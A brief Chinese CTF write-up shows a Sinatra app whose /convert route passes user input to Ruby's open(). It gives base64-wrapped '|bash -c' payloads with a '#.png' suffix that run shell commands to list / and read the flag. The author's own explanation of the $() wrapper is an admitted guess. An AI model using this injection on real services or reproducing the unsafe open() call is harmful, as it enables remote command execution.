ruby中open()函数任意命令执行
本题是在2021第五空间中出现的
具体的源代码如下:
require 'sinatra' require 'digest' require 'base64' get '/' do open("./view/index.html", 'r').read() end get '/upload' do open("./view/upload.html", 'r').read() end post '/upload' do unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png' return "<script>alert('error');location.href='/upload';</script>" end begin filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png' open(filename, 'wb') { |f| f.write open(params[:file][:tempfile],'r').read() } "Upload success, file stored at #{filename}" rescue 'something wrong' end end get '/convert' do open("./view/convert.html", 'r').read() end post '/convert' do begin unless params['file'] return "<script>alert('error');location.href='/convert';</script>" end file = params['file'] unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r').read() headers 'Content-Type' => "text/html; charset=utf-8" "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n" rescue 'something wrong' end end
可以看到这道题并没有什么特别复杂的点,就一个open()函数的问题,之前做题的时候查了open()函数的漏洞,没有查到,所以没有做出来,记录一下
漏洞原理
open()函数可以进行命令执行
所以exp为
file=|bash -c "$(echo 'bHMgLw==' | base64 -d)" #.png
file=|bash -c "$(echo 'Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt' | base64 -d)" #.png
就get flag了
这里有一个小疑问记录一下
为什么这里的命令要用$()包裹,我查到的bash -c "cmd String"不太理解这里为什么要加$()
我尝试了一下,如果不加$(),那么ls /这条命令不会执行,而是直接会输出 ls /
所以我猜测加' '让ls /执行,执行之后的结果再输出
有懂的大佬可以解释一些,谢谢!